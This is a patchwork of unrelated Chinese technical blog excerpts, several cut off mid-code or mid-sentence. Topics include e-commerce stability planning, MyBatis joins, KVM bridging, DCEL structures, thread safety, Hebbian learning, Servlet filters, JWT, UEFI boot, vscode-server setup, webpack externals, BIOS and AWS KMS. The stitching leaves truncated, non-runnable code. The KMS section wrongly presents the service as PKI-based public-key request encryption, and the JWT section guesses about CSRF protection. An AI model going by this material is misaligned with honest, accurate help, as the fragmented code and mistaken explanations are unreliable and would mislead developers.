极端业务场景下的不确定因素 上面我们讨论了极端业务场景给技术层面带来的挑战。但是 对于稳定性保障而言,我认为最困难的部分,不在技术层面,而是在业务层面,也就是用户的业务访问模型。从技术层面来说,我们还有一些确定的套路可以去遵循,但是访问模型就是个极不确定的因素了。
我们这里还是以电商来举例说明,比如大促时用户下单这个逻辑。一个用户在购物车勾选商品去结算这个场景,用户的访问模型或业务场景就可能会有很多变化,比如是下1个商品的订单,还是同时5个商品的订单?每个商品的购买数量是1个、2个还是3个?商品的购买数量有没有限制?这些商品涉及1个卖家,还是多个卖家?不同卖家又会有不同的优惠折扣,是买二送一,还是满100送20?满一定额度之后是否包邮?全站促销是否有全站优惠,是否有时间段限制?优惠之间是否有优先级和互斥逻辑?支付方式是优先使用支付宝,还是微信,亦或是银行卡等等。
上面这些还只是简单描述,并且是针对单个用户的。当用户数量达到几十万,上百万之后,用户行为可能还有访问首页、详情页以及搜索的情况等等,场景更复杂,整个业务模型中的变量因素就会非常多,且不确定。
往往某个因素的变化,就可能带来容量模型的改变。假设1个商品,1个卖家,1个优惠策略,对DB产生的QPS是20,TPS是10,但是这其中的因素稍微一变化,产生的QPS和TPS就是翻倍的。如果这一点评估不到位,大促时实际的用户场景跟预估的偏差过大,系统可能就会挂掉。
所以, 对于稳定性而言,用户访问模型才是关键,这个摸不准,只有技术是没用的,这就更需要我们能够深入业务,理解业务。
我们经常听到的“脱离业务谈架构,谈技术,都是不负责任的”,原因就在于此。希望今天的内容能够让你在学习到知识和技能的同时,也有所启发,切忌脱离业务,空谈技术。
今天我们分享了极端业务场景下,如何做好稳定性保障。关于稳定性保障,你还有哪些问题?有过怎样的经验?欢迎你留言与我讨论。
如果今天的内容对你有帮助,也欢迎你分享给身边的朋友,我们下期见!
像多对多的数据表关系,比如检查套餐包含检查组,检查组包含检查项,我要想做一个setmeal对象包含groupList,而gropu有itemList,写mybatis的sql怎么写,而用mybatisPlus在java代码里应该怎么写
对于多对多的数据表关系,在 MyBatis 中,通常会使用三张表来表示。以你提到的检查套餐包含检查组、检查组包含检查项为例,我们可以使用如下三张表来表示:
1. 检查套餐表:t_setmeal,包含检查套餐的基本信息,如套餐名称、价格等等。
2. 检查组表:t_checkgroup,用于表示一个检查套餐中的一个检查组,一个套餐可以对应多个检查组。
3. 检查项表:t_checkitem,用于表示一个检查组中的一个检查项,一个检查组可以对应多个检查项。
下面分别介绍在 MyBatis 和 MyBatis-Plus 中,如何写 SQL 语句来查询检查套餐及其包含的检查组和检查项信息。
## 在 MyBatis 中实现
### 查询检查套餐及其包含的检查组和检查项```xml
<select id="findSetmealById" resultMap="setmealResultMap"> SELECT s.id, s.name, s.code, s.helpCode, s.sex, s.age, s.price, s.remark, s.attention, s.img, g.id AS groupId, g.name AS groupName, i.id AS itemId, i.name AS itemName FROM t_setmeal s LEFT JOIN t_setmeal_checkgroup sc ON s.id = sc.setmeal_id LEFT JOIN t_checkgroup g ON sc.checkgroup_id = g.id LEFT JOIN t_checkgroup_checkitem gi ON g.
1.开启X11转发 1.1 编辑ssh配置文件 vim /etc/ssh/sshd_config X11Forwarding yes #设置为yes systemctl restart sshd
1.2 在PC端直接开启虚拟系统管理器 2.配置桥接 2.1 创建桥接,使其与物理网卡对接 yum install -y bridge-utils # 依赖包,已安装
ifconfig # 查看网卡名
brctl addbr br0 # 创建网桥
ifconfig br0 192.168.80.100 netmask 255.255.255.0 # 给个IP临时激活
nmcli connection modify br0 ipv4.addresses 192.168.80.100/24 ipv4.gateway 192.168.80.2 ipv4.dns 114.114.114.114 connection.autoconnect yes # 生成br0网卡文件
vim /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE=Ethernet
NAME=ens33
DEVICE=ens33
ONBOOT=yes
BRIDGE=br0 # 将网卡对接br0
nmcli co reload
nmcli co up ens33
nmcli co up br0
文章目录 前言DCEL介绍:DCEL优势:DCEL数据结构实现:Point:Vertex:HalfEdgeFace Reference: 前言 虽然https://blog.csdn.net/baidu_34931359/article/details/129962825?spm=1001.2014.3001.5501
已经实现了平面点云的三角化,但是其在效率上还存在较大的优化空间,在非法边的检索过程中会变已生成三角形进行遍历,若可提前直到非法边所对应的三角形,可大幅提高检索效率,将该过程的时间复杂度由n降至常数。
在邓老师的计算几何中提及到双向链接边表(Doubly-Connected Edge List,DCEL),它是一种用来表示平面图拓扑信息的数据结构,DCEL 结构(或者半边结构)可以高效的进行点、边和面等各种相互关系的查询。
DCEL介绍: 在DCEL中,将每条边的两端分别作为一条半边。半边有方向性,由起点出发,指向另一个端点。一条边的两条半边互为孪生半边。
半边数据结构中包含了三种对象:顶点、半边和面片。每个对象均为固定长度,分别存有下列几何的及拓扑的信息:
顶点:在对应于顶点vetrx 的顶点记录中,除了存储点的坐标信息,还有一个指向半边的指针,指向以V为起点的某一条半边。
半边:在对应于半边edge 的半边记录中,存储了半边的起点,一个半边的指针指向其孪生半边twins。一个面指针指向位于半边左侧的面face。此外还有2个半边指针,分别指向沿着face(e)边界方向的前一条半边和后一条半边。
面片:在对应于面face的记录中,只存储了一个指向半边的指针,指向该面边界上的某一条半边。
DCEL优势: 半边(half-edge)数据结构是一种略微复杂的边表示方法,优点是可以方便、快速地获得以下信息:
哪些面使用了这个顶点哪些边使用了这个顶点哪些面使用了这条边哪些边构成了这个面哪些面和这个面相邻 如果用最简单的顶点+索引的方式存储网格,问题1,2,3,5都是很难解决的,需要遍历所有顶点。而半边结构可以在常数时间内完成上述操作。
缺点是网格连接关系变动后,需要维护的信息也比较多。另外,半边结构表达的网格需要是流形结构,半边结构的构造也需要一定的时间开销。
DCEL数据结构实现: 下面给出了关键的数据结构Point、Vertex、HalfEdge与Triangle的具体实现。
Point: class Point { public: long long id; double x; double y; bool used = 0; //used or not Face* bucket = NULL; //the bucket of the point Point(long long id_, double x_, double y_) { this->id = id_; this->x = x_; this->y = y_; } ~Point(){} }; Vertex: class Vertex { public: Point* p = NULL; //the coordinate of the vertex HalfEdge* half_edge = NULL; //reference to the first outgoing incident half-edge Vertex(Point* p_) { this->p = p_; this->half_edge = NULL; } ~Vertex(){} }; HalfEdge class HalfEdge { public: bool valid = 1; //whether the edge is valid HalfEdge* twin = NULL; //reference to the twin half edge Vertex* source = NULL; //reference to the source vertex Vertex* target = NULL; Face* face = NULL; //reference to the left incident face HalfEdge* next = NULL; //reference to CCW next half-edge HalfEdge() { this->valid = 1; } ~HalfEdge(){} }; Face class Face { public: HalfEdge* half_edge = NULL; //the first half edge incident to the face from left vector<Point*> bucket_points; //the unassigned points of the bucket Face() { this->bucket_points.
转载于:多线程并发为什么不安全 - undifinedException - 博客园 (cnblogs.com)
一、线程安全定义 定义:
多个线程访问同一个对象时,如果不用考虑这些线程在运行时环境下的调度和交替执行,也不需要进行额外的同步,或者在调用方进行任何其他操作,调用这个对象的行为都可以获得正确的结果,那么这个对象就是线程安全的。
该定义由Brian Goetz在《Java Concurrency In Practice》(Java并发编程实战)中定义;被百度百科、《深入理解Java虚拟机2》引用;
二、并发安全问题 大概很多人都知道一点为什么在多线程并发时会不安全,多线程同时操作对象的属性或者状态时,会因为线程之间的信息不同步,A线程读取到的状态已经过时,而A线程并不知道。所以并发安全的本质问题在于线程之间的信息不同步!
分析并发不安全的现象,再一层层展示其原理。
2.1、 竞态条件 定义:
在并发编程中,由于不恰当的执行时序而出现不正确的结果。
案例:
这是一个线程不安全的方法,我们的期望是每次获取queryTimes都会将queryTimes的值+1;但是当多线程并发访问时,它的工作情况并不如我们所预想的那般;
static int queryTimes = 0; public static int getTimes(){ queryTimes = queryTimes +1; return queryTimes; } 运行结果:https://www.cnblogs.com/dhcao/p/10970604.html
案例图解:
图解说明:
当线程A进入方法获取到queryTimes=17时,线程B正准备进入方法;
当线程B获取到queryTimes=18时,线程A还未处理值;
当线程A处理queryTimes+1 = 18后,线程B随即处理queryTimes+1 = 18;
此时线程A才将处理后到结果写入queryTimes,随后B也将18写入到queryTimes;
根据上述,我们知道当竞态条件存在时,多个线程可能同时或者几乎同时读取到某个状态(值),然后将处理后到值进行写入,此时我们可以说发生了数据的"脏读"
总结:
竞态条件是指多线程同时对数据进行改变,读取到脏数据或写入错数据;
2.2、 重排序、有序性、可见性 2.2.1、 指令重排序
基于Hebb学习的深度学习方法总结 0 引言1 前置知识1.1 Hebb学习规则1.2 Delta学习规则 2 SoftHebb学习算法2.1 WTA(Winner Take All)2.2 SoftHebb2.3 多层Hebb网络2.4 Hebb学习的性能测评 3 参考文献 0 引言 总所周知,反向传播算法(back-propagating, BP)存在四个缺点:
权重传输(weight transport):即误差的反向传播与生物脑中突触信号的单向传递矛盾,目前也没有在生物脑中发现BP的实验证据;并且BP过程需要前向连接权重矩阵的转置,这在生物神经网络上是不可能的。非局部可塑性(non-local plasticity):指BP学习需要输出端传回的全局误差信号,无法仅通过时间和神经元的局部信号更新权重。相反,生物神经网络仅根据权重连接的两个神经元的即时激活即可完成学习。BP的非局部可塑性不仅需要储存前馈计算过程中的所有变量,还必须计算并传播反向信号,大幅增加了存储需求和额外的计算开销。更新锁定(update locking):指BP网络的前馈过程与梯度反向传播过程不能同步进行,即在前馈过程中,权重更新将被锁定,导致学习速度降低,学习延迟增加。全局损失函数(global loss function):在监督学习中,损失函数的计算依赖于人为给定的标签。由于这类数据获取成本高,基于监督的BP学习难以对所有数据进行充分利用。尽管自监督学习可使用模型本身的信号计算全局损失,BP网络依旧容易过拟合于特定映射并对对抗攻击十分敏感(具体见文献:Towards deep learning models resistant to adversarial attacks. ArXiv:1706.06083, 2017;Softhebb: Bayesian inference in unsupervised hebbian soft winner-take-all networks. ArXiv:2107.05747, 2021),学习的特征也难以泛化于其他数据和任务。 由于上述问题的存在,目前广泛使用的BP算法难以直接应用于在线学习领域。针对该问题,大量工作致力于寻找低功耗、低延时、低计算量、低内存需求的可在线更新的网络学习算法。目前,该领域的工作可大致分为两类:
基于BP算法,利用网络特性和数学近似改善BP算法,降低内存需求,提高学习效率;采用仿生算法,模拟神经科学中神经细胞的生物特性实现网络参数更新和学习。 许多仿生学习算法基于Hebb理论,研究并发展出了一套仿生的人工神经网络学习算法。本文主要介绍Hebb学习算法在深层网络上的应用方法。
1 前置知识 1.1 Hebb学习规则 唐纳德·赫布(1904-1985)是加拿大著名生理心理学家。Hebb学习规则与“条件反射”机理一致,并且已经得到了神经细胞学说的证实。
巴甫洛夫的条件反射实验:每次给狗喂食前都先响铃,时间一长,狗就会将铃声和食物联系起来。以后如果响铃但是不给食物,狗也会流口水。
受该实验的启发,Hebb的理论认为在同一时间被激发的神经元间的联系会被强化。比如,铃声响时一个神经元被激发,在同一时间食物的出现会激发附近的另一个神经元,那么这两个神经元间的联系就会强化,从而记住这两个事物之间存在着联系。相反,如果两个神经元总是不能同步激发,那么它们间的联系将会越来越弱。用数学公式可表示为:
W i j t + 1 = W i j t + r ⋅ y i ⋅ y j W_{ij}^{t+1} = W_{ij}^t + r\cdot y_i \cdot y_j Wijt+1=Wijt+r⋅yi⋅yj
方法一:异或 异或运算符”∧”:相同取0 不同取1
它的规则是若参加运算的两个二进位同号,则结果为0(假);异号则为1(真)。
即 0∧0=0,0∧1=1, 1^0=1,1∧1=0。 可以简单理解为无进位相加 const convert = num => num^1; convert(0); // 1 convert(1); // 0 方法二:二进制取反 1的二进制原码:0000 0001
~1 之后:1111 1110 (~就是按位取反)
以原码的角度看待 1111 1110 ,分析出它是负数(由于第一位是1,因此为负数)
这个负数要在计算机中存储,必须是补码,而原码转换补码规则:符号位不变,数值位取反加1
所以 1111 1110变成补码为:1000 0010
这样的补码代表:-2 ~1; // -2 ~-2; // 1 function interChange (num) { return ~num+2 } console.log('interChange',interChange(1)) // 0
文档地址 https://micku7zu.github.io/vanilla-tilt.js/
GitHub地址 https://github.com/gijsroge/tilt.js
第一步引入vanilla-tilt包 npm install vanilla-tilt 第二步页面引入 import VanillaTilt from 'vanilla-tilt'; 第三步页面声明一个classdom节点 <div class="box-item"> <img src="../public/astrocat.png"> <h4>测试</h4> <p>111</p> </div> 第四部使用vanilla-tilt VanillaTilt.init(document.querySelector(".box-item"), { max: 50, speed: 400 }); //It also supports NodeList VanillaTilt.init(document.querySelectorAll(".box-item")); 完整代码 <script setup lang="ts"> import { onMounted } from "vue"; import VanillaTilt from 'vanilla-tilt'; onMounted(() => { VanillaTilt.init(document.querySelector(".box-item"), { max: 50, speed: 400 }); //It also supports NodeList VanillaTilt.init(document.querySelectorAll(".box-item")); }); </script> <template> <div> <div class="box"> <div class="
Filter介绍
在计算机编程中,Filter(过滤器)是一种用于对数据流进行处理的软件组件。Filter 的作用是从输入流中获取数据,对其进行处理后再将其写入输出流中。Filter 组件通常用于数据校验、数据转换、数据压缩等方面,以及对网络通信进行处理。在 Web 开发中,Filter 是 Servlet 标准中的一种组件,用于在 Servlet 执行之前或之后对请求和响应进行处理。可以通过 Filter 实现各种功能,如请求参数过滤、字符编码转换、请求重定向、登录验证等。使用 Filter 组件可以提高 Web 应用的易用性、安全性和可扩展性。
Filter应用场景
Filter(过滤器)是Java Servlet API中一种可以在请求和响应的处理过程中,干预或修改请求和响应的内容的组件。它主要用来过滤HTTP请求和响应,对前端的输入进行过滤,保护系统安全,提高应用的性能等。
Filter应用的场景包括:
参数校验:用户输入的参数可能包含恶意字符或参数格式错误,通过使用Filter可以拦截并进行参数校验,以保证应用安全。
多语言选择:通过获取请求头的语言参数,Filter可以根据用户的语言选择相应的语言。
登录拦截:通过Filter对所有请求进行拦截,检查用户是否登录,若未登录则跳转至登录页面。
编码转换:对于不同的请求和响应,可能需要采用不同的编码方式,Filter可以将请求和响应进行编码转换。
访问控制:通过Filter实现拦截指定路径的请求,实现权限访问控制。
以上是Filter应用的常见场景,它可以通过Java Servlet API提供的Filter接口进行实现。同时,Filter的执行顺序可以通过在web.xml中配置Filter的顺序来决定。
Filter拦截流程图:
Filter过滤敏感字符
servlet代码
package com.qcnel; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; public class SensitiveWordsFilter implements Filter { private String[] sensitiveWords = {"你是猪头", "你是笨蛋"}; public void init(FilterConfig filterConfig) throws ServletException { // 初始化代码 } public void destroy() { // 过滤器销毁代码 } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpServletRequest = (HttpServletRequest) request; HttpServletResponse httpServletResponse = (HttpServletResponse) response; // 获取请求中的输入内容 String content = httpServletRequest.
JWT(JSON Web Token)
简单来讲,jwt是将一个字符串,分为三部分,中间用英文的.分割。
第一部分为Header,主要记录令牌类型,签名算法等,第二部分是有效载荷,主要携带一些自定义,默认信息等。这些信息先以json的格式书写,后来经过base64编码为字符串。最后一个为通过签名算法形成的密匙。
这个令牌有一个特点只要JWT令牌被篡改或存活时间到了,就非法了。
JWT的作用类似于cokkie,但1.不仅可以存储与cookie域也可以存储与本地存储空间。使用于没有cookie的后端开发,2.防止CSRF攻击,为什么呢?现在还不太懂,猜测应该是token本身与时间绑定,故可以每次请求都生成一次(猜测), 3.另外,只要修改一部分,整个字符就无法解析,防止篡改。
https://blog.csdn.net/woai110120130/article/details/109141076
卷积池化后的特征图尺寸计算 卷积操作 假设输入特征图的长宽为inputsize,卷积核的尺寸为kernalsize,进行卷机操作时的补0数记作padding,步长为stride,那么输出特征图的大小outsize为:
o u t s i z e = i n p u t s i z e − k e r n a l s i z e + 2 ∗ p a d d i n g s t r i d e + 1 outsize=\frac{input size-kernal size+2*padding}{stride}+1 outsize=strideinputsize−kernalsize+2∗padding+1
反卷积操作 假设输入特征图的长宽为inputsize,卷积核的尺寸为kernalsize,进行卷机操作时的补0数记作padding,步长为stride,那么输出特征图的大小outsize为:
o u t s i z e = ( i n p u t s i z e − 1 ) ∗ s t r i d e + k e r n a l s i z e − 2 ∗ p a d d i n g outsize=(inputsize-1)*stride+kernalsize-2*padding outsize=(inputsize−1)∗stride+kernalsize−2∗padding
装机前了解此知识,您的系统高枕无忧 (1)、 UEFI启动模式 与 legacy启动模式
legacy启动模式: 就是这么多年来PC一直在使用的启动方式(从MBR中加载启动程序),UEFI BIOS作为一种新的BIOS自然也应该兼容这种老的启动方式;
UEFI启动模式: UEFI BIOS下新的启动技术。如果你的PC在UEFI启动模式下预装了Win8,你会发现有两个很小的隐藏分区。一个叫ESP(EFI系统分区),另一个MSR(Microsoft保留分区,通常为128MB)。MSR是windows要求的。ESP对UEFI启动模式很重要,UEFI的引导程序是以后缀名为.efi的文件存放在ESP分区中的,ESP分区采用fat32文件系统。此外,可能还存在一个小分区叫WinRE Tools,这个是win8的恢复分区,体积也很小。所以千万不要把这三个分区删了。
因此第一个关键问题就是确定自己的启动模式,方法是进入BIOS,然后你会发现有一项叫"boot mode",选中"UEFI boot"就是UEFI启动模式,选中"Legacy boot"就是Legacy启动模式。
(2)、 UEFI启动模式只支持64位的系统,所以预装的win8是64位的, Ubuntu(乌班图)是一个以桌面应用为主的Linux操作系统,也需要64位的。
(3)、 UEFI BIOS 和 Legacy BIOS
我们都知道可以在传统的bios中调整设备的启动优先级,UEFI BIOS在UEFI启动模式下不但可以调整设备的优先级,还可以调整设备中引导程序的优先级,安装完ubuntu之后,你再进BIOS就会发现多了一个可选择的启动项叫ubuntu。此外,UEFI BIOS也引入了一些新的技术,例如Fast boot和secure boot,当然后面一项完全是用来坑爹的。
(4)、 UEFI启动模式下如何从u盘或移动硬盘引导
只要u盘或移动硬盘上有一个fat32的分区,分区的根目录下有个文件夹叫EFI,UEFI就会自动去查找相应的启动文件(.efi)
如果你刚制作了ubuntu(kylin)-13.04-64位的启动u盘,可以打开它,你会发现分区的文件系统是fat32,确实有一个EFI文件夹,进去看看就是各种.efi引导文件(这里再次强调64位,32位下你是找不到这个文件夹的)。因此现在想制作可启动的u盘或移动硬盘就简单了,只需要复制粘贴就行了。
Legacy BIOS Boot 是如何启动或引导的
当系统首次引导时,或系统被重置时,处理器会执行一个位于已知位置处的代码。这个位置在基本输入 / 输出系统(BIOS) 中。CPU 会调用这个重置向量来启动一个位于闪存/ROM 中的已知地址处的程序。通常,它执行一个启动自测(POST)来检查机器。最后,它从引导驱动器上的主引导记录(MBR)加载第一个扇区。
引导程序就位于 MBR 第一个扇区里面。此时引导程序就被装入 RAM 并执行。这个引导加载程序在大小上小于 512 字节(一个扇区)。BIOS 自检完成之后,将 MBR 的代码读入内存,管理权交给 MBR , MBR 再读取 DPT ,从 DPT (Disk Partition Table,硬盘分区表占据 MBR 扇区的64个字节(偏移01BEH--偏移01FDH))找出硬盘的所有分区哪一个是激活的主分区。到这里为止,所有系统都是一样的。下面就有区别了。 DPT读完找到主分区之后然后找到这个主分区的 PBR (Partition Boot Record分区引导记录),PBR位于激活主分区的第一个扇区。安装不同操作系统的时候 PBR 是会被改变的, XP 的 PBR 写死的代码是去找 NTLDR 。而 Vista 和 7 的 PBR 里写进的就是去找 Bootmgr 。
vscode-server离线安装及配置 - 八字环~ - 博客园 (cnblogs.com)
获取当前版本vscode的commit_id:Help -> About -> Commit根据commit_id下载对应版本的vscode-server:
https://update.code.visualstudio.com/commit:${commit_id}/server-linux-x64/stable将下载好的vscode-server-linux-x64.tar.gz放在服务器任意目录下将压缩包解压,到 ~/.vscode-server/bin/${commit_id}新建目录~/.vscode-server/extensions,将~/.vscode-server/bin/${commit_id}/extensions/中的插件复制到~/.vscode-server/extensions/中一键脚本: commit_id=*** VSCODE_SERVER_PATH=*** rm -rf ~/.vscode-server mkdir -p ~/.vscode-server/bin tar -xzf ${VSCODE_SERVER_PATH} -C ~/.vscode-server/bin mv ~/.vscode-server/bin/vscode-server-linux-x64/ ~/.vscode-server/bin/${commit_id}/ mkdir -p ~/.vscode-server/extensions cp -r ~/.vscode-server/bin/${commit_id}/extensions/* ~/.vscode-server/extensions 备注:sshd_config(/etc/ssh/sshd_config)文件需要设置AllowTcpForwarding=yes
资源加载优化
通过配置externals,来减少该体积
使用示例 webpack的默认打包机制会将我们项目中通过npm引入的js库全部打包成一个vendor.js文件
其实像vue.js 、vuex.js、vue-router.js这些外部库,基本不会变的,如果将它们独立出来单独加载就能利于浏览器的缓存机制,不用每次都重新加载这些库js,并且大大的减少了打包的vendor.js文件
module.exports={ configureWebpack:congig =>{ externals:{ key: value } } } 其中key是第三方依赖库的名称,同package.json文件中的dependencies对象的key一样。
value值应该是第三方依赖编译打包后生成的js文件,然后js文件执行后赋值给window的全局变量名称。(一定要写正确,不然会报错)
vue一定要在element-ui之前引入
const assetsCDN = { // webpack build externals(webpack构建外链) externals: { vue: "Vue", vuex: "Vuex", axios: "axios", "vue-router": "VueRouter", 'xlsx': 'XLSX', 'element-ui': 'ELEMENT', "echarts": "echarts" //主要是echarts很大 }, css: [], // https://unpkg.com/browse/vue@2.6.10/ (vue的cdn地址) js: [ // vue的压缩js (也可以下载下来,改成本地文件访问;因为有时候这个镜像会在国外,我们国内访问的话慢或者访问不到。可以使用unpkg.com的国内镜像地址: unpkg.zhimg.com) "https://cdn.bootcss.com/vue/2.6.10/vue.min.js", "https://cdn.bootcss.com/vue-router/3.1.2/vue-router.min.js", "https://unpkg.com/axios/dist/axios.min.js", "https://cdn.bootcss.com/vuex/3.1.0/vuex.min.js", "https://cdn.bootcdn.net/ajax/libs/xlsx/0.16.1/xlsx.min.js", "https://unpkg.com/element-ui@2.10.1/lib/index.js", "https://cdn.bootcss.com/echarts/4.1.0/echarts.min.js" ], }; module.exports = { configureWebpack: { // 视为一个外部库,而不将它打包进来 externals: assetsCDN.
BIOS代表基本输入/输出系统,是计算机系统中的一个固件。它是在计算机启动时运行的一段代码,作为连接操作系统和硬件之间的接口。
BIOS的底层原理是在计算机启动时运行的。在电源被打开后,BIOS会开始自检(POST)程序,检查计算机的硬件是否能够正常工作。它还将设置一些基本配置,例如硬盘驱动器的数量和顺序,以及其他连接到计算机的设备。然后,BIOS将读取引导装置(通常是硬盘驱动器),并将控制权转移到操作系统加载程序。操作系统加载程序将进一步读取操作系统内核,并将控制权传递给操作系统。
总之,BIOS是计算机系统中重要的组成部分,负责连接操作系统和硬件。它的主要功能是检查计算机的硬件是否能够正常工作,并将控制权传递给操作系统。
KMS是密钥管理服务(Key Management Service)的缩写,它是一种云计算服务,由亚马逊公司提供。KMS可以帮助用户轻松创建和管理加密密钥,用于保护云上应用程序和数据的安全性。
在KMS中,加密密钥被存储在亚马逊的安全硬件模块(Hardware Security Module,HSM)中,这是一种专门的硬件设备,用于安全地存储和管理密钥。亚马逊的HSM采用多重认证和物理安全措施,以确保密钥的安全性和可靠性。
KMS的底层原理是基于公钥基础设施(Public Key Infrastructure,PKI)的,它使用一种称为Asymmetric Cryptography的加密算法来保护密钥。在这种算法中,每个用户都有一对密钥,即公钥和私钥。公钥可以被广泛分发,用于加密数据,而私钥则由用户保留,用于解密数据。当用户需要使用加密密钥时,它们向KMS发送一个请求,该请求使用用户的公钥进行加密。KMS使用存储在HSM中的私钥解密请求,并返回加密密钥的密文给用户。
KMS还提供了许多其他功能,例如密钥轮换,密钥审计,密钥版本管理等,使得用户可以更加轻松地管理他们的加密密钥,并确保云上数据和应用程序的安全性。